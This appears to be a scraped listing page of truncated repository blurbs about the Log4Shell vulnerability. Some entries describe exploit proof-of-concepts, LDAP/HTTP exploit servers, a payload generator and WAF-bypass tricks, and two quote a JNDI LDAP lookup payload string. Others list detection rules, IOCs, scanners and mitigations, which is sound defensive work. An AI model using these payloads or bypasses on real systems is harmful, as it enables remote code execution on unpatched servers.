KubeArmor

KubeArmor is a cloud-native runtime security enforcement system that restricts the behavior such as process execution, file access, and networking operations of pods, containers, and nodes VMs at the system level. KubeArmor leverag...

CVE-2021-44228-PoC

CVE-2021-44228 PoC PoC for CVE-2021-44228. Project made for EDUCATIONAL PURPOSES ONLY. Exploit server This project creates two servers: http and ldap. Both are necessary for exploit to work. Specified java file is compiled and servers are started in Dockerfile. Payload is shown to user - it has t...

CVE-2021-44228-PoC-log4j-bypass-words

🤝 Show your support - give a ⭐️ if you liked the content | SHARE on Twitter | Follow me on 🐱‍💻 ✂️ 🤬 LOG4J Java exploit - WAF and patches bypass tricks 📝 Description CVE-2021-44228 works on: log4j: 2.0 = Apache log4j = 2.14.1 Java version already patched: 6u211+, 7u201+, 8u191+, 11.0.1+. Windows...

cve-2021-44228

CVE-2021-44228 https://nvd.nist.gov/vuln/detail/CVE-2021-44228 log4j.java - 对 该 PoC 的修改，用于运行来自 JNDIExploit 的一系列 payload。 jndi.pcap - 包含每个 payload 运行情况的 PCAP 文件。 snort.rules - 用于检测 LDAP 和 HTTP 连接的 Snort 规则。欢迎提交拉取请求以使 HTTP 规则生效。 附带的博客文章...

log4shell-test-exploit

Prueba de exploit de CVE-2021-44228 log4shell Preparación root@kitploit: Install Nodejs HTTP server npm -g i http-server Build victim app cd victim-app mvn install Compile Trojan cd test-trojan javac Trojan.java Build marshalsec required Java 8 git clone...

Log4j_CVE-2021-45046

Log4j 2.15.0 Privilege Escalation -- CVE-2021-45046 Attack Discription It was found that the fix to address CVE-2021-44228 in Apache Log4j 2.15.0 was incomplete in certain non-default configurations. This could allows attackers with control over Thread Context Map MDC input data when the logging...

CVE-2021-44228

概述 本仓库包含OpenIOC规则，用于协助搜索与Apache Log4j 2远程代码执行漏洞（CVE-2021-44228）相关的入侵指标。 这些规则被视为狩猎规则，因此检测效果会因组织而异。通过特定环境调优，这些规则可能适合部署为告警规则。规则分为两类： execution - 提供证据表明系统上 此前已执行 过可能与CVE相关操作（如可疑网络连接、URL请求、进程执行、文件写入）的IOC presence - 提供证据表明系统上存在活跃运行的进程或文件（与此CVE相关）的IOC...

nmap-log4shell

Nmap Log4Shell NSE 脚本，用于发现 Apache Log4j RCE CVE-2021-44228 漏洞 nmap-log4shell 是一个 NSE 脚本，用于在网络中检测 Apache Log4j RCE CVE-2021-44228 漏洞。该脚本能够通过 HTTP 头部（默认）或通过 TCP/UDP 套接字注入 log4shell 利用载荷。 漏洞 CVE-2021-44228 是 Apache Log4j 2 中的一个远程代码执行 RCE 漏洞。未经身份验证的远程攻击者可以通过向运行易受攻击版本的 log4j...

CVE-2021-44228-Apache-Log4j-Rce

使用方法: 1. 运行 RMIServer 2. 运行 Main...

Log4J_0day_RCE

Join Community Telegram CVE-2021-44228Apache Log4j Remote Code Execution） Affected versions you can use JNDI-Injection-Exploit to Exploit. Bypass rc1 For example: root@kitploit: $jndi:ldap://127.0.0.1:1389/ badClassName Bypass WAF...

log4shell_ioc_ips

j4shelliocips 来自已知 log4j/log4shell 恶意IP地址的大型数据转储，唯一且已排序，仅在发生变化时每小时更新一次！（CVE-2021-44228） 狩猎愉快 免责声明 此脚本解析大量来源，因此此列表可能包含大量误报，请不要在防火墙中屏蔽所有IP！ 待办事项： 添加白名单 正在进行中 改进正则表达式以排除本地IP地址 已解决 添加对域名的支持 来源： https://gist.github.com/gnremy/c546c7911d5f876f263309d7161a7217...

Apache-Log4j-POC

Apache-Log4j-POC CVE-2021-44228 Proof of Concept of apache log4j LDAP lookup vulnerability You can read more about the vulnerability here: https://blog.cloudflare.com/inside-the-log4j2-vulnerability-cve-2021-44228/ How to run the provided ldap server that returns malicious object ? java -jar...

CVE-2021-44228-Apache-Log4j-Rce

CVE-2021-44228Apache Log4j 远程代码执行） 所有 log4j-core 版本 =2.0-beta9 且 不要依赖当前的 Java 版本来拯救你。更新 Log4（或移除 JNDI 查找）。禁用扩展（这无论如何看起来都是个糟糕的主意）。 绕过 rc1 例如： root@kitploit: $jndi:ldap://127.0.0.1:1389/ badClassName...

Log4J-Mitigation-CVE-2021-44228--CVE-2021-45046--CVE-2021-45105--CVE-2021-44832

Log4J-缓解-CVE-2021-44228, CVE-2021-45046, CVE-2021-45105, CVE-2021-44832 请密切关注此页面，因为Apache Log4j团队正在非常迅速地披露更多CVE并修复安全问题。...

JndiLookup

JndiLookup 用于帮助分析 Apache Log4j 2 CVE-2021-44228 的工具 该工具使用 log4j-2 的 "lookup" 功能来针对 JNDI 漏洞进行测试。 其目标是轻松运行 lookup 功能（例如用于规范化日志，或对某些 payload 进行真实测试——请务必谨慎）。 构建方式：执行 "make"（为方便起见，JndiLookup.jar 文件已包含在此 git 仓库中）。 构建完成后，你可以使用 "java -jar JndiLookup.jar" 运行该工具（包含 log4j 二进制文件的 log4j 目录必须与 JndiLookup.jar...

Log4J_checker

Log4Jchecker Log4J checker for Apache CVE-2021-44228 log4j-checker.sh is a bash script that merges several checks...

Log4Shell_CVE-2021-44228_related_attacks_IOCs

Log4Shell（CVE-2021-44228）related attacks IOCs Source IPs attempting attacks using Apache Log4j RCE, including a large number of Tor nodes, see Attack-IP.md IOCs for malware, botnets, etc. propagated via the Log4j vulnerability, see IOC-C2.md Snort detection rules, see Snort.md Suricata rules, see...

Get-log4j-Windows.ps1

Get-log4j-Windows.ps1 识别所有 Windows 服务器、整个域（可跨多域）中的 log4j 组件。CVE-2021-44228 可扩展至 1000+ 台 Windows 服务器，每次处理 250+ 台。1000 台服务器约需 1.5 小时。 Apache log4j CVE-2021-44228 单服务器版本： 单服务器版本 脚本运行： 导出： 描述： root@kitploit: 专为 CVE-2021-44228 制作 通过筛选条件搜索 AD 中的所有计算机对象。（适用于 Windows 服务器） 从中央服务器在远程服务器上调用 PowerShell。...

log4j-payload-generator

log4j-payload-generator log4j-paylaod generator : 用于Apache log4j RCE CVE-2021-44228的通用payload生成器。 部署 部署本项目请运行 root@kitploit: sudo git clone https://github.com/yesspider-hacker/log4j-payload-generator.git 运行测试 要运行测试，请执行以下命令 root@kitploit: cd log4j-payload-generator/ python3 log4jpayloadgenerater.p...

cve-2021-44228

CVE-2021-44228 本仓库是对臭名昭著的 CVE-2021-44228 问题的一个简化模拟。 除了系统属性和其他字典结构的查找之外，Apache Log4j 还出于各种原因实现了 JNDI 查找功能。 JNDI 可以从多个服务提供者处获取服务，例如 LDAP、DNS、Java RMI 注册表等。 JNDI 本身是一个简单且不安全的 API，无法防范由第三方控制的服务提供者。 只要攻击者控制了一个可通过恶意 URL 公开访问的服务器，并知晓正在监听特定端口的应用程序记录了哪些内容，他们就可以滥用日志格式，通过 JNDI 注入让应用程序加载并执行任意 Java 代码。...